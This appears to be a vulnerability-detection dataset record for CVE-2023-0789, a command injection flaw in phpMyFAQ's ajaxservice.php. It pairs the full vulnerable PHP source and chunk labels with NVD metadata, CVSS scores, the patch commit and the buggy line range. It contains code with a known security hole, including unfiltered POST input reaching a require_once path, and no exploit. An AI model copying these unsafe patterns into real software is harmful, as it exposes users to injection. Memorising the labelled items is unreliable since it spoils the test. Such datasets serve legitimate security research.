[{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-02-12T14:15:11.467", "references": [{"source": "security@huntr.dev", "tags": ["Patch"], "url": "https://github.com/thorsten/phpmyfaq/commit/40515c74815ace394ab23c6c19cbb33fd49059cb"}, {"source": "security@huntr.dev", "tags": ["Permissions Required"], "url": "https://huntr.dev/bounties/d9375178-2f23-4f5d-88bd-bba3d6ba7cc5"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-77"}], "source": "security@huntr.dev", "type": "Primary"}]}, "github_commit_url": "https://github.com/thorsten/phpmyfaq/commit/40515c74815ace394ab23c6c19cbb33fd49059cb"}, "type": "CWE-77"}
132
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * The Ajax Service Layer.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public License,\n * v. 2.0. If a copy of the MPL was not distributed with this file, You can\n * obtain one at http://mozilla.org/MPL/2.0/.\n *\n * @package phpMyFAQ\n * @author Thorsten Rinne <thorsten@phpmyfaq.de>\n * @copyright 2010-2022 phpMyFAQ Team\n * @license http://www.mozilla.org/MPL/2.0/ Mozilla Public License Version 2.0\n * @link https://www.phpmyfaq.de\n * @since 2010-09-15\n */", "const IS_VALID_PHPMYFAQ = null;", "use phpMyFAQ\\Captcha;\nuse phpMyFAQ\\Category;\nuse phpMyFAQ\\Comments;\nuse phpMyFAQ\\Entity\\Comment;\nuse phpMyFAQ\\Entity\\CommentType;\nuse phpMyFAQ\\Faq;\nuse phpMyFAQ\\Faq\\FaqMetaData;\nuse phpMyFAQ\\Faq\\FaqPermission;\nuse phpMyFAQ\\Filter;\nuse phpMyFAQ\\Helper\\CategoryHelper;\nuse phpMyFAQ\\Helper\\FaqHelper;\nuse phpMyFAQ\\Helper\\HttpHelper;\nuse phpMyFAQ\\Helper\\QuestionHelper;\nuse phpMyFAQ\\Helper\\RegistrationHelper;\nuse phpMyFAQ\\Language;\nuse phpMyFAQ\\Language\\Plurals;\nuse phpMyFAQ\\Link;\nuse phpMyFAQ\\Mail;\nuse phpMyFAQ\\Network;\nuse phpMyFAQ\\News;\nuse phpMyFAQ\\Notification;\nuse phpMyFAQ\\Question;\nuse phpMyFAQ\\Rating;\nuse phpMyFAQ\\Search;\nuse phpMyFAQ\\Search\\SearchResultSet;\nuse phpMyFAQ\\Session;\nuse phpMyFAQ\\Stopwords;\nuse phpMyFAQ\\Strings;\nuse phpMyFAQ\\User;\nuse phpMyFAQ\\User\\CurrentUser;\nuse phpMyFAQ\\Utils;", "//\n// Bootstrapping\n//\nrequire 'src/Bootstrap.php';", "$action = Filter::filterInput(INPUT_GET, 'action', FILTER_UNSAFE_RAW);\n$ajaxLang = Filter::filterInput(INPUT_POST, 'lang', FILTER_UNSAFE_RAW);\n$code = Filter::filterInput(INPUT_POST, 'captcha', FILTER_UNSAFE_RAW);\n$currentToken = Filter::filterInput(INPUT_POST, 'csrf', FILTER_UNSAFE_RAW);", "$Language = new Language($faqConfig);\n$languageCode = $Language->setLanguage($faqConfig->get('main.languageDetection'), $faqConfig->get('main.language'));\nrequire_once 'lang/language_en.php';\n$faqConfig->setLanguage($Language);", "if (Language::isASupportedLanguage($ajaxLang)) {\n $languageCode = trim($ajaxLang);\n require_once 'lang/language_' . $languageCode . '.php';\n} else {\n $languageCode = 'en';\n require_once 'lang/language_en.php';\n}", "//\n// Load plurals support for selected language\n//\n$plr = new Plurals($PMF_LANG);", "//\n// Initializing static string wrapper\n//\nStrings::init($languageCode);", "//\n// Send headers\n//\n$http = new HttpHelper();\n$http->setContentType('application/json');", "$faqSession = new Session($faqConfig);\n$network = new Network($faqConfig);\n$stopWords = new Stopwords($faqConfig);", "if (!$network->checkIp($_SERVER['REMOTE_ADDR'])) {\n $message = ['error' => $PMF_LANG['err_bannedIP']];\n}", "//\n// Check, if user is logged in\n//\n$user = CurrentUser::getFromCookie($faqConfig);\nif (!$user instanceof CurrentUser) {\n $user = CurrentUser::getFromSession($faqConfig);\n}\nif ($user instanceof CurrentUser) {\n $isLoggedIn = true;\n} else {\n $isLoggedIn = false;\n}", "//\n// Check captcha\n//\n$captcha = new Captcha($faqConfig);\n$captcha->setUserIsLoggedIn($isLoggedIn);", "if (\n'savevoting' !== $action && 'saveuserdata' !== $action && 'changepassword' !== $action && !is_null($code) &&\n !$captcha->checkCaptchaCode($code)\n) {\n $message = ['error' => $PMF_LANG['msgCaptcha']];\n}", "//\n// Check if the user is logged in when FAQ is completely secured\n//\nif (\n false === $isLoggedIn && $faqConfig->get('security.enableLoginOnly') &&\n 'changepassword' !== $action && 'saveregistration' !== $action\n) {\n $message = ['error' => $PMF_LANG['ad_msg_noauth']];\n}", "if (isset($message['error'])) {\n $http->sendJsonWithHeaders($message);\n exit();\n}", "// Save user generated content\nswitch ($action) {\n //\n // Comments\n //\n case 'savecomment':\n if (\n !$faqConfig->get('records.allowCommentsForGuests') &&\n !$user->perm->hasPermission($user->getUserId(), 'addcomment')\n ) {\n $message = ['error' => $PMF_LANG['err_NotAuth']];\n break;\n }", " $faq = new Faq($faqConfig);\n $oComment = new Comments($faqConfig);\n $category = new Category($faqConfig);\n $type = Filter::filterInput(INPUT_POST, 'type', FILTER_UNSAFE_RAW);\n $faqId = Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0);\n $newsId = Filter::filterInput(INPUT_POST, 'newsId', FILTER_VALIDATE_INT);\n $username = Filter::filterInput(INPUT_POST, 'user', FILTER_UNSAFE_RAW);\n $mailer = Filter::filterInput(INPUT_POST, 'mail', FILTER_VALIDATE_EMAIL);\n $comment = Filter::filterInput(INPUT_POST, 'comment_text', FILTER_UNSAFE_RAW);", " switch ($type) {\n case 'news':\n $id = $newsId;\n break;\n case 'faq';\n $id = $faqId;\n break;\n }", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($mailer)) {\n $mailer = $faqConfig->getAdminEmail();\n }", " // Check display name and e-mail address for not logged in users\n if (false === $isLoggedIn) {\n $user = new User($faqConfig);\n if (true === $user->checkDisplayName($username) && true === $user->checkMailAddress($mailer)) {\n $message = ['error' => '-' . $PMF_LANG['err_SaveComment']];\n break;\n }\n }\n \n if (\n !is_null($username) && !is_null($mailer) && !is_null($comment) && $stopWords->checkBannedWord(\n $comment\n ) && !$faq->commentDisabled(\n $id,\n $languageCode,\n $type\n )\n ) {\n try {\n $faqSession->userTracking('save_comment', $id);\n } catch (Exception $e) {\n // @todo handle the exception\n }", " $commentEntity = new Comment();\n $commentEntity\n ->setRecordId($id)\n ->setType($type)\n ->setUsername($username)\n ->setEmail($mailer)\n ->setComment(nl2br($comment))\n ->setDate($_SERVER['REQUEST_TIME']);", " if ($oComment->addComment($commentEntity)) {\n $emailTo = $faqConfig->getAdminEmail();\n $title = '';\n $urlToContent = '';\n if ('faq' == $type) {\n $faq->getRecord($id);\n if ($faq->faqRecord['email'] != '') {\n $emailTo = $faq->faqRecord['email'];\n }", " $title = $faq->getRecordTitle($id);", " $faqUrl = sprintf(\n '%s?action=faq&cat=%d&id=%d&artlang=%s',\n $faqConfig->getDefaultUrl(),\n $category->getCategoryIdFromFaq($faq->faqRecord['id']),\n $faq->faqRecord['id'],\n $faq->faqRecord['lang']\n );\n $oLink = new Link($faqUrl, $faqConfig);\n $oLink->itemTitle = $faq->faqRecord['title'];\n $urlToContent = $oLink->toString();\n } else {\n $news = new News($faqConfig);\n $newsData = $news->getNewsEntry($id);\n if ($newsData['authorEmail'] != '') {\n $emailTo = $newsData['authorEmail'];\n }", " $title = $newsData['header'];", " $link = sprintf(\n '%s?action=news&newsid=%d&newslang=%s',\n $faqConfig->getDefaultUrl(),\n $newsData['id'],\n $newsData['lang']\n );\n $oLink = new Link($link, $faqConfig);\n $oLink->itemTitle = $newsData['header'];\n $urlToContent = $oLink->toString();\n }", " $commentMail =\n 'User: ' . $commentEntity->getUsername() . ', mailto:' . $commentEntity->getEmail() . \"\\n\" .\n 'Title: ' . $title . \"\\n\" .\n 'New comment posted here: ' . $urlToContent .\n \"\\n\\n\" .\n wordwrap($comment, 72);", " $send = [];\n $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($commentEntity->getEmail(), $commentEntity->getUsername());\n $mailer->addTo($emailTo);", " $send[$emailTo] = 1;\n $send[$faqConfig->getAdminEmail()] = 1;", " if ($type === CommentType::FAQ) {\n // Let the category owner of a FAQ get a copy of the message\n $category = new Category($faqConfig);\n $categories = $category->getCategoryIdsFromFaq($faq->faqRecord['id']);\n foreach ($categories as $_category) {\n $userId = $category->getOwner($_category);\n $catUser = new User($faqConfig);\n $catUser->getUserById($userId);\n $catOwnerEmail = $catUser->getUserData('email');", " if ($catOwnerEmail !== '') {\n if (!isset($send[$catOwnerEmail]) && $catOwnerEmail !== $emailTo) {\n $mailer->addCc($catOwnerEmail);\n $send[$catOwnerEmail] = 1;\n }\n }\n }\n }", " $mailer->subject = $faqConfig->getTitle() . ': New comment for \"' . $title . '\"';\n $mailer->message = strip_tags($commentMail);", " $result = $mailer->send();\n unset($mailer);", " $message = ['success' => $PMF_LANG['msgCommentThanks']];\n } else {\n try {\n $faqSession->userTracking('error_save_comment', $id);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n $message = ['error' => $PMF_LANG['err_SaveComment']];\n }\n } else {\n $message = ['error' => 'Please add your name, your e-mail address and a comment!'];\n }\n break;", " case 'savefaq':\n if (\n !$faqConfig->get('records.allowNewFaqsForGuests') &&\n !$user->perm->hasPermission($user->getUserId(), 'addfaq')\n ) {\n $message = ['error' => $PMF_LANG['err_NotAuth']];\n break;\n }", " $faq = new Faq($faqConfig);\n $category = new Category($faqConfig);\n $questionObject = new Question($faqConfig);", " $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $faqId = Filter::filterInput(INPUT_POST, 'faqid', FILTER_VALIDATE_INT);\n $faqLanguage = Filter::filterInput(INPUT_POST, 'lang', FILTER_UNSAFE_RAW);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);", " $question = strip_tags($question);", " if ($faqConfig->get('main.enableWysiwygEditorFrontend')) {\n $answer = Filter::filterInput(INPUT_POST, 'answer', FILTER_SANITIZE_SPECIAL_CHARS);\n $answer = html_entity_decode($answer);\n } else {\n $answer = Filter::filterInput(INPUT_POST, 'answer', FILTER_UNSAFE_RAW);", " $answer = strip_tags($answer);", " $answer = nl2br($answer);\n }\n $translatedAnswer = Filter::filterInput(INPUT_POST, 'translated_answer', FILTER_UNSAFE_RAW);\n $contentLink = Filter::filterInput(INPUT_POST, 'contentlink', FILTER_UNSAFE_RAW);\n $contentLink = Filter::filterVar($contentLink, FILTER_VALIDATE_URL);\n $keywords = Filter::filterInput(INPUT_POST, 'keywords', FILTER_UNSAFE_RAW);\n $categories = Filter::filterInputArray(\n INPUT_POST,\n [\n 'rubrik' => [\n 'filter' => FILTER_VALIDATE_INT,\n 'flags' => FILTER_REQUIRE_ARRAY,\n ],\n ]\n );", " // Check on translation\n if (empty($answer) && !is_null($translatedAnswer)) {\n $answer = $translatedAnswer;\n }", " if (\n !is_null($author) && !is_null($email) && !empty($question) &&\n $stopWords->checkBannedWord(strip_tags($question)) &&\n !empty($answer) && $stopWords->checkBannedWord(strip_tags($answer)) &&\n ((is_null($faqId) && !is_null($categories['rubrik'])) || (!is_null($faqId) && !is_null($faqLanguage) &&\n Language::isASupportedLanguage($faqLanguage)))\n ) {\n $isNew = true;\n $newLanguage = '';", " if (!is_null($faqId)) {\n $isNew = false;\n try {\n $faqSession->userTracking('save_new_translation_entry', 0);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n } else {\n try {\n $faqSession->userTracking('save_new_entry', 0);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n }", " $isTranslation = false;\n if (!is_null($faqLanguage)) {\n $isTranslation = true;\n $newLanguage = $faqLanguage;\n }", " if (!is_null($contentLink) && Strings::substr($contentLink, 7) !== '') {\n $answer = sprintf(\n '%s<br><div id=\"newFAQContentLink\">%s<a href=\"http://%s\" target=\"_blank\">%s</a></div>',\n $answer,\n $PMF_LANG['msgInfo'],\n Strings::substr($contentLink, 7),\n $contentLink\n );\n }", " $autoActivate = $faqConfig->get('records.defaultActivation');", " $newData = [\n 'lang' => ($isTranslation === true ? $newLanguage : $languageCode),\n 'thema' => $question,\n 'active' => ($autoActivate ? FAQ_SQL_ACTIVE_YES : FAQ_SQL_ACTIVE_NO),\n 'sticky' => 0,\n 'content' => $answer,\n 'keywords' => $keywords,\n 'author' => $author,\n 'email' => $email,\n 'comment' => 'y',\n 'date' => date('YmdHis'),\n 'dateStart' => '00000000000000',\n 'dateEnd' => '99991231235959',\n 'linkState' => '',\n 'linkDateCheck' => 0,\n 'notes' => ''\n ];", " if ($isNew) {\n $categories = $categories['rubrik'];\n } else {\n $newData['id'] = $faqId;\n $categories = $category->getCategoryIdsFromFaq($newData['id']);\n }", " $recordId = $faq->addRecord($newData, $isNew);", " $openQuestionId = Filter::filterInput(INPUT_POST, 'openQuestionID', FILTER_VALIDATE_INT);\n if ($openQuestionId) {\n if ($faqConfig->get('records.enableDeleteQuestion')) {\n $questionObject->deleteQuestion($openQuestionId);\n } else { // adds this faq record id to the related open question\n $questionObject->updateQuestionAnswer($openQuestionId, $recordId, $categories[0]);\n }\n }", " $faqMetaData = new FaqMetaData($faqConfig);\n $faqMetaData\n ->setFaqId($recordId)\n ->setFaqLanguage($newData['lang'])\n ->setCategories($categories)\n ->save();", " // Let the admin and the category owners to be informed by email of this new entry\n $categoryHelper = new CategoryHelper();\n $categoryHelper\n ->setCategory($category)\n ->setConfiguration($faqConfig);", " $moderators = $categoryHelper->getModerators($categories);", " try {\n $notification = new Notification($faqConfig);\n $notification->sendNewFaqAdded($moderators, $recordId, $faqLanguage);\n } catch (Exception $e) {\n // @todo handle exception in v3.2\n }", "\n $message = [\n 'success' => ($isNew ? $PMF_LANG['msgNewContentThanks'] : $PMF_LANG['msgNewTranslationThanks']),\n ];\n } else {\n $message = [\n 'error' => $PMF_LANG['err_SaveEntries']\n ];\n }", " break;", " //\n // Add question\n //\n case 'savequestion':\n if (\n !$faqConfig->get('records.allowQuestionsForGuests') &&\n !$user->perm->hasPermission($user->getUserId(), 'addquestion')\n ) {\n $message = ['error' => $PMF_LANG['err_NotAuth']];\n break;\n }", " $faq = new Faq($faqConfig);\n $cat = new Category($faqConfig);\n $categories = $cat->getAllCategories();\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $ucategory = Filter::filterInput(INPUT_POST, 'category', FILTER_VALIDATE_INT);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);\n $save = Filter::filterInput(INPUT_POST, 'save', FILTER_VALIDATE_INT, 0);", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($email)) {\n $email = $faqConfig->getAdminEmail();\n }", " // If smart answering is disabled, save question immediately\n if (false === $faqConfig->get('main.enableSmartAnswering')) {\n $save = true;\n }", " if (\n !is_null($author) && !is_null($email) && !is_null($question) && $stopWords->checkBannedWord(\n Strings::htmlspecialchars($question)\n )\n ) {\n if ($faqConfig->get('records.enableVisibilityQuestions')) {\n $visibility = 'Y';\n } else {\n $visibility = 'N';\n }", " $questionData = [\n 'username' => $author,\n 'email' => $email,\n 'category_id' => $ucategory,\n 'question' => Strings::htmlspecialchars($question),\n 'is_visible' => $visibility\n ];", " if (false === (bool)$save) {\n $cleanQuestion = $stopWords->clean($question);", " $user = new CurrentUser($faqConfig);\n $faqSearch = new Search($faqConfig);\n $faqSearch->setCategory(new Category($faqConfig));\n $faqSearch->setCategoryId((int) $ucategory);\n $faqPermission = new FaqPermission($faqConfig);\n $faqSearchResult = new SearchResultSet($user, $faqPermission, $faqConfig);\n $searchResult = [];\n $mergedResult = [];", " foreach ($cleanQuestion as $word) {\n if (!empty($word)) {\n $searchResult[] = $faqSearch->search($word, false);\n }\n }\n foreach ($searchResult as $resultSet) {\n foreach ($resultSet as $result) {\n $mergedResult[] = $result;\n }\n }\n $faqSearchResult->reviewResultSet($mergedResult);", " if (0 < $faqSearchResult->getNumberOfResults()) {\n $response = sprintf(\n '<p>%s</p>',\n $plr->getMsg('plmsgSearchAmount', $faqSearchResult->getNumberOfResults())\n );", " $response .= '<ul>';", " $faqHelper = new FaqHelper($faqConfig);\n foreach ($faqSearchResult->getResultSet() as $result) {\n $url = sprintf(\n '%sindex.php?action=faq&cat=%d&id=%d&artlang=%s',\n $faqConfig->getDefaultUrl(),\n $result->category_id,\n $result->id,\n $result->lang\n );\n $oLink = new Link($url, $faqConfig);\n $oLink->text = Utils::chopString($result->question, 15);\n $oLink->itemTitle = $result->question;", " try {\n $response .= sprintf(\n '<li>%s<br><div class=\"searchpreview\">%s...</div></li>',\n $oLink->toHtmlAnchor(),\n $faqHelper->renderAnswerPreview($result->answer, 10)\n );\n } catch (Exception $e) {\n // handle exception\n }\n }\n $response .= '</ul>';", " $message = ['result' => $response];\n } else {\n $questionHelper = new QuestionHelper($faqConfig, $cat);\n try {\n $questionHelper->sendSuccessMail($questionData, $categories);\n } catch (Exception $e) {\n // @todo Handle exception\n }\n $message = ['success' => $PMF_LANG['msgAskThx4Mail']];\n }\n } else {\n $questionHelper = new QuestionHelper($faqConfig, $cat);\n try {\n $questionHelper->sendSuccessMail($questionData, $categories);\n } catch (Exception $e) {\n // @todo Handle exception\n }\n $message = ['success' => $PMF_LANG['msgAskThx4Mail']];\n }\n } else {\n $message = ['error' => $PMF_LANG['err_SaveQuestion']];\n }", " break;", " case 'saveregistration':\n $registration = new RegistrationHelper($faqConfig);", " $fullName = Filter::filterInput(INPUT_POST, 'realname', FILTER_UNSAFE_RAW);\n $userName = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $isVisible = Filter::filterInput(INPUT_POST, 'is_visible', FILTER_UNSAFE_RAW) ?? false;", " if (!$registration->isDomainWhitelisted($email)) {\n $message = ['error' => 'The domain is not whitelisted.'];\n break;\n }", " if (!is_null($userName) && !is_null($email) && !is_null($fullName)) {\n $message = $registration->createUser($userName, $fullName, $email, $isVisible);\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;", " case 'savevoting':\n $faq = new Faq($faqConfig);\n $rating = new Rating($faqConfig);\n $type = Filter::filterInput(INPUT_POST, 'type', FILTER_UNSAFE_RAW, 'faq');\n $recordId = Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0);\n $vote = Filter::filterInput(INPUT_POST, 'vote', FILTER_VALIDATE_INT);\n $userIp = Filter::filterVar($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP);", " if (isset($vote) && $rating->check($recordId, $userIp) && $vote > 0 && $vote < 6) {\n try {\n $faqSession->userTracking('save_voting', $recordId);\n } catch (Exception $e) {\n // @todo handle the exception\n }", " $votingData = [\n 'record_id' => $recordId,\n 'vote' => $vote,\n 'user_ip' => $userIp,\n ];", " if (!$rating->getNumberOfVotings($recordId)) {\n $rating->addVoting($votingData);\n } else {\n $rating->update($votingData);\n }\n $message = [\n 'success' => $PMF_LANG['msgVoteThanks'],\n 'rating' => $rating->getVotingResult($recordId),\n ];\n } elseif (!$rating->check($recordId, $userIp)) {\n try {\n $faqSession->userTracking('error_save_voting', $recordId);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n $message = ['error' => $PMF_LANG['err_VoteTooMuch']];\n } else {\n try {\n $faqSession->userTracking('error_save_voting', $recordId);\n } catch (Exception $e) {\n // @todo handle the exception\n }\n $message = ['error' => $PMF_LANG['err_noVote']];\n }", " break;", " // Send user generated mails\n case 'sendcontact':\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($email)) {\n $email = $faqConfig->getAdminEmail();\n }", " if (\n !is_null($author) && !is_null($email) && !is_null($question) && !empty($question) &&\n $stopWords->checkBannedWord(Strings::htmlspecialchars($question))\n ) {\n $question = sprintf(\n \"%s %s\\n%s %s\\n\\n %s\",\n $PMF_LANG['msgNewContentName'],\n $author,\n $PMF_LANG['msgNewContentMail'],\n $email,\n $question\n );", " $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($email, $author);\n $mailer->addTo($faqConfig->getAdminEmail());\n $mailer->subject = Utils::resolveMarkers('Feedback: %sitename%', $faqConfig);\n $mailer->message = $question;\n $mailer->send();", " unset($mailer);", " $message = ['success' => $PMF_LANG['msgMailContact']];\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;", " // Send mails to friends\n case 'sendtofriends':\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $link = Filter::filterInput(INPUT_POST, 'link', FILTER_VALIDATE_URL);\n $attached = Filter::filterInput(INPUT_POST, 'message', FILTER_UNSAFE_RAW);\n $mailto = Filter::filterInputArray(\n INPUT_POST,\n [\n 'mailto' => [\n 'filter' => FILTER_VALIDATE_EMAIL,\n 'flags' => FILTER_REQUIRE_ARRAY | FILTER_NULL_ON_FAILURE,\n ],\n ]\n );", " if (\n !is_null($author) && !is_null($email) && is_array($mailto) && !empty($mailto['mailto'][0]) &&\n $stopWords->checkBannedWord(Strings::htmlspecialchars($attached))\n ) {\n foreach ($mailto['mailto'] as $recipient) {\n $recipient = trim(strip_tags($recipient));\n if (!empty($recipient)) {\n $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($email, $author);\n $mailer->addTo($recipient);\n $mailer->subject = $PMF_LANG['msgS2FMailSubject'] . $author;\n $mailer->message = sprintf(\n \"%s\\r\\n\\r\\n%s\\r\\n%s\\r\\n\\r\\n%s\",\n $faqConfig->get('main.send2friendText'),\n $PMF_LANG['msgS2FText2'],\n $link,\n $attached\n );", " // Send the email\n $result = $mailer->send();\n unset($mailer);\n usleep(250);\n }\n }", " $message = ['success' => $PMF_LANG['msgS2FThx']];\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;", " //\n // Save user data from UCP\n //\n case 'saveuserdata':\n if (!isset($_SESSION['phpmyfaq_csrf_token']) || $_SESSION['phpmyfaq_csrf_token'] !== $currentToken) {\n $message = ['error' => $PMF_LANG['ad_msg_noauth']];\n break;\n }", " $userId = Filter::filterInput(INPUT_POST, 'userid', FILTER_VALIDATE_INT);\n $userName = Filter::filterInput(INPUT_POST, 'name', FILTER_SANITIZE_SPECIAL_CHARS);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $isVisible = Filter::filterInput(INPUT_POST, 'is_visible', FILTER_UNSAFE_RAW);\n $password = Filter::filterInput(INPUT_POST, 'password', FILTER_UNSAFE_RAW);\n $confirm = Filter::filterInput(INPUT_POST, 'password_confirm', FILTER_UNSAFE_RAW);", " $user = CurrentUser::getFromSession($faqConfig);", " if ($userId !== $user->getUserId()) {\n $message = ['error' => 'User ID mismatch!'];\n break;\n }", " if ($password !== $confirm) {\n $message = ['error' => $PMF_LANG['ad_user_error_passwordsDontMatch']];\n break;\n }", " if (strlen($password) <= 7 || strlen($confirm) <= 7) {\n $message = ['error' => $PMF_LANG['ad_passwd_fail']];\n break;\n } else {\n $userData = [\n 'display_name' => $userName,\n 'email' => $email,\n 'is_visible' => $isVisible === 'on' ? 1 : 0\n ];\n $success = $user->setUserData($userData);", " foreach ($user->getAuthContainer() as $author => $auth) {\n if ($auth->setReadOnly()) {\n continue;\n }\n if (!$auth->update($user->getLogin(), $password)) {\n $message = ['error' => $auth->error()];\n $success = false;\n } else {\n $success = true;\n }\n }\n }", " if ($success) {\n $message = ['success' => $PMF_LANG['ad_entry_savedsuc']];\n } else {\n $message = ['error' => $PMF_LANG['ad_entry_savedfail']];\n }\n break;", " //\n // Change password\n //\n case 'changepassword':\n $username = Filter::filterInput(INPUT_POST, 'username', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);", " if (!is_null($username) && !is_null($email)) {\n $user = new CurrentUser($faqConfig);\n $loginExist = $user->getUserByLogin($username);", " if ($loginExist && ($email == $user->getUserData('email'))) {\n $newPassword = $user->createPassword();\n $user->changePassword($newPassword);\n $text = $PMF_LANG['lostpwd_text_1'] . \"\\nUsername: \" . $username . \"\\nNew Password: \" . $newPassword . \"\\n\\n\" . $PMF_LANG['lostpwd_text_2'];", " $mailer = new Mail($faqConfig);\n $mailer->addTo($email);\n $mailer->subject = Utils::resolveMarkers('[%sitename%] Username / password request', $faqConfig);\n $mailer->message = $text;\n $result = $mailer->send();\n unset($mailer);\n // Trust that the email has been sent\n $message = ['success' => $PMF_LANG['lostpwd_mail_okay']];\n } else {\n $message = ['error' => $PMF_LANG['lostpwd_err_1']];\n }\n } else {\n $message = ['error' => $PMF_LANG['lostpwd_err_2']];\n }\n break;", " //\n // Request removal of user\n //\n case 'request-removal':\n $author = Filter::filterInput(INPUT_POST, 'name', FILTER_UNSAFE_RAW);\n $loginName = Filter::filterInput(INPUT_POST, 'loginname', FILTER_UNSAFE_RAW);\n $email = Filter::filterInput(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);\n $question = Filter::filterInput(INPUT_POST, 'question', FILTER_UNSAFE_RAW);", " // If e-mail address is set to optional\n if (!$faqConfig->get('main.optionalMailAddress') && is_null($email)) {\n $email = $faqConfig->getAdminEmail();\n }", " if (\n !is_null($author) && !is_null($email) && !is_null($question) &&\n !empty($question) && $stopWords->checkBannedWord(Strings::htmlspecialchars($question))\n ) {\n $question = sprintf(\n \"%s %s\\n%s %s\\n%s %s\\n\\n %s\",\n $PMF_LANG['ad_user_loginname'],\n $loginName,\n $PMF_LANG['msgNewContentName'],\n $author,\n $PMF_LANG['msgNewContentMail'],\n $email,\n $question\n );", " $mailer = new Mail($faqConfig);\n $mailer->setReplyTo($email, $author);\n $mailer->addTo($faqConfig->getAdminEmail());\n $mailer->subject = $faqConfig->getTitle() . ': Remove User Request';\n $mailer->message = $question;\n $result = $mailer->send();\n unset($mailer);", " $message = ['success' => $PMF_LANG['msgMailContact']];\n } else {\n $message = ['error' => $PMF_LANG['err_sendMail']];\n }\n break;\n}", "$http->sendJsonWithHeaders($message);\nexit();" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [329], "buggy_code_start_loc": [324], "filenames": ["phpmyfaq/ajaxservice.php"], "fixing_code_end_loc": [332], "fixing_code_start_loc": [325], "message": "Command Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:phpmyfaq:phpmyfaq:*:*:*:*:*:*:*:*", "matchCriteriaId": "0CADCF40-01A2-41DD-B454-4F5946570CA9", "versionEndExcluding": "3.1.11", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Command Injection in GitHub repository thorsten/phpmyfaq prior to 3.1.11."}], "evaluatorComment": null, "id": "CVE-2023-0789", "lastModified": "2023-02-23T05:10:44.350", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": 